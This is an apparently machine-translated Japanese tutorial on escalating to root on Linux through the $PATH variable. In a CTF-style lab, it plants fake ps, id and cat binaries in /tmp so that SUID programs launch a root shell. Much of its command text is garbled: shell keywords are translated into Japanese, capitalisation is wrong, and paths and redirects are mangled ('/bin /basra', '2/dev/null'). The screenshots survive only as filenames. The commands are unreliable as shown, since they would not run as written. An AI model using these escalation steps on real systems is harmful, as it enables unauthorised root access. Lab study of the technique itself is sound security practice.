Jump to content

0x00はじめに

いくつかのOSCPの課題を解決した後、Linuxの許可アップグレードのためのさまざまな方法に関する記事を書くことにしました。この記事では、「$ PATH変数を使用するさまざまな方法」を学び、リモートホストへのルートアクセスを獲得します。CTFチャレンジで使用される手法は、許可のエスカレーションにつながる$ PATHの脆弱性を生成します。この記事を読むことで、CTF後の搾取の課題を解決した場合、許可のエスカレーションにつながるいくつかの脆弱性を認識します。

0x001パス変数の概要

パスは、すべての実行可能プログラムを保存するすべてのBINおよびSBINディレクトリを指定するLinuxおよびUNIXオペレーティングシステムの環境変数です。ユーザーがターミナルでコマンドを実行すると、ユーザーが実行したコマンドに応じてパス変数の助けを借りて実行可能ファイルを検索するようにシェルを要求します。また、スーパーユーザーは通常、 /sbinおよび /usr /sbinの権限を持っています。システム管理コマンドを簡単に実行します。

Echoコマンドの助けを借りて、関連するユーザーのパスを表示するのは非常に簡単です。

エコー$パス

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/games

「。」に気づいた場合シンボル、次に環境パス変数で、ログインしたユーザーが現在のディレクトリからバイナリファイルとスクリプトを実行できることを意味します。これは、攻撃者がルート許可を増やすための優れた手法です。これは、プログラムを作成する際の注意が不足しているためであるため、管理者はプログラムへの完全なパスを指定しません。

0x03パス変数重み付け方法1

1.Ubuntu実験設定

現在、 /home /rajディレクトリで、名前がスクリプトとして新しいディレクトリを作成します。スクリプトディレクトリで、システムバイナリファイルに関数を呼び出す小さなCプログラムを書きます。

PWD

mkdirスクリプト

CDスクリプト

Nano Demo.C

sbhunefl5q58202.png

demo.cファイルでわかるように、システムバイナリであるPSコマンド(プロセス状態)を呼び出しています。

ep3thbed1l48203.png

次に、GCCを使用してdemo.cファイルをコンパイルし、suid許可を高めてファイルをコンパイルします

ls

gcc demo.c -oシェル

Chmod u+sシェル

ls -laシェル

bl2glurdvco8204.png

2。許可強化

最初に、ターゲットシステムを攻撃してから、アクセス許可エスカレーション段階に入る必要があります。通常のユーザーを使用して、SSHを介して被害者のホストに正常にログインするとします。その後、時間を無駄にせずに、Findコマンドの助けを借りて、SUIDまたは4000のアクセス許可を使用してファイルを検索します。

find/-perm -u=s -type f 2/dev/null

したがって、上記のコマンドの助けを借りて、攻撃者は実行可能ファイルを列挙することができます。ここでは、/home/raj/script/shellがsuid許可を持っていることもわかります。

bpe1yheiz3o8205.png

次に、/home/raj/scriptディレクトリに移動し、実行可能ファイル「シェル」が表示されます。このファイルを実行すると、このファイルがPSを実行しようとしているように見えます。これは、プロセス状態を取得するために /bin内の実際のファイルです。

ls。/シェル

gpqwbe1ucmt8206.png

(1)エコーコマンド:ルート許可を生成する最初の手法

CD /TMP

echo '/bin/bash' ps

CHMOD 777 PS

エコー$パス

エクスポートパス=/TMP: $パス

CD/HOME/RAJ/スクリプト。/シェル

おっと

101hoo54w5h8207.png

(2)コマンドコマンド - ルート許可を生成するための2番目の手法

CD/home/raj/script/

CP /BIN /SH /TMP /PS

エコー$パス

エクスポートパス=/TMP: $パス。/シェル

おっと

aqlcno0koyo8208.png

(3)symlinkコマンド - ルート権限を生成するための3番目の手法

LN -S /BIN /SH PS

エクスポートパス=. $パス。/シェル

id

おっと

注:Symlinkはシンボリックリンクとも呼ばれ、ディレクトリに実行権限がある場合、正常に実行されます。 UbuntuのSymlinkの場合、 /Script Directoryに777の権限を与えました

そのため、攻撃者は環境変数パスを使用してアクセス許可をエスカレートし、ルートアクセスを獲得できることがわかります。

lxzwrw0jrx08209.png

0x04パス変数重み付け方法2

1.Ubuntu実験設定

上記の同じ手順を繰り返して、独自の実験を構成します。スクリプトディレクトリで、システムバイナリファイルに関数を呼び出す小さなCプログラムを書きます。

PWD

mkdirスクリプト

CD /スクリプト

nano test.c

test.cファイルでわかるように、IDコマンド、つまりシステムバイナリを呼び出しています。

dyer5n5sxq08210.png

次に、GCCを使用してtest.cファイルをコンパイルし、SUID許可を拡大してコンパイルされたファイル

ls

gcc test.c -o shell2

chmod u+s shell2

LS -LAシェル2

fwcwm4cjhjo8211.png

2. permission Enhancement

同様に、ターゲットシステムを攻撃してから、特権エスカレーション段階に入る必要があります。通常のユーザーを使用して、SSHを介して被害者のホストに正常にログインするとします。その後、時間を無駄にせずに、Findコマンドの助けを借りて、SUIDまたは4000のアクセス許可を使用してファイルを検索します。ここでは、/home/raj/script/shell2がSUID許可を持っているかどうかを確認できます。

find/-perm -u=s -type f 2/dev/null

次に、/home/raj/scriptディレクトリに移動し、実行可能ファイル「shell2」を表示します。したがって、このファイルを実行すると、Shell2がIDを実行しようとしているように見えます。これは /binの実際のファイルです。

cd/home/raj/script/

ls

./shell2

cuonk231fuz8212.png

(1)エコーコマンド

CD /TMP

echo '/bin/bash' id

CHMOD 777 ID

エコー$パス

エクスポートパス=/TMP: $パス

CD/HOME/RAJ/スクリプト

./shell2

おっと

yu0ahirnoa08213.png

0x05パス変数電源エレベーション法3

1.Ubuntu実験設定

上記の手順を繰り返して、独自の実験を設定します。 raj.cファイルでわかるように、catコマンドを呼び出して、ett/passwdファイルからその内容を読み取ります。

bpoyhvpw4id8216.png

次に、GCCを使用してraj.cファイルをコンパイルし、コンパイルされたファイルにSUID許可を伸ばします。

ls

gcc raj.c -o raj

chmod u+s raj

ls -la raj

ppn5e3bvi448218.png

2. permission Enhancement

被害者のシステムを再度攻撃し、許可アップグレード段階に入力します。次のコマンドを実行して、sudoユーザーリストを表示します。

find/-perm -u=s -type f 2/dev/null

ここでは、/home/raj/script/rajがSUID許可を持っていることも確認できます。その後、/home/raj/scripディレクトリに移動し、実行可能ファイル「Raj」を表示します。したがって、このファイルを実行すると、ett/passwdファイルの内容が表示されます。

cd/home/raj/script/

ls

./raj

v5s5sntbsod8220.png

(1)Nano Editor:4番目の許可拡張技術

CD /TMP

ナノ猫

さて、ターミナルが開いて /bin /basraを入力したら、保存します

2lztbjg2wvl8222.png

CHMOD 777 CAT

ls -al cat

エコー$パス

エクスポートパス=/TMP: $パス

CD/HOME/RAJ/スクリプト

./raj

おっと

f3teso2xxnz8223.png

0x06パス変数重み付け方法4

1.Ubuntu実験設定

上記の手順を繰り返して、独自の実験を設定します。 demo.cファイルでわかるように、catコマンドを呼び出して /home /rajにあるmsg.txtコンテンツを読みますが、 /home /rajにそのようなファイルはありません。

cszi2dkyclk8224.png

次に、GCCを使用してdemo.cファイルをコンパイルし、SUID許可を高めてファイルをコンパイルします

ls

gcc demo.c -o Ignite

chmod u+s Ignite

ls -la Ignite

qply3aqbr5q8226.png

2. permission Enhancement

被害者のシステムを再度攻撃し、許可アップグレード段階に入力します。次のコマンドを実行して、sudoユーザーリストを表示します。

find/-perm -u=s -type f 2/dev/null

ここでは、/home/raj/script/Igniteにsuid許可があることも確認できます。その後、/home/raj/scripディレクトリに移動して、実行可能ファイル「Ignite」が表示されます。そのため、このファイルを実行すると、結果としてエラー「CAT:/home/home/raj/msg.txt」が出力されます。

cd/home/raj/script/

ls。/発火

iftby0p2qli8227.png

(1)VI編集者 - 5番目の許可エンハンスメントテクノロジー

CD /TMP

vi猫

さて、ターミナルが開いて /bin /basraを入力したら、保存します

lb0ggllw43o8230.png

CHMOD 777 CAT

エコー$パス

エクスポートパス=/TMP: $パス

CD/HOME/RAJ/スクリプト。/発火

おっと

hghumadfs2d8234.png

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...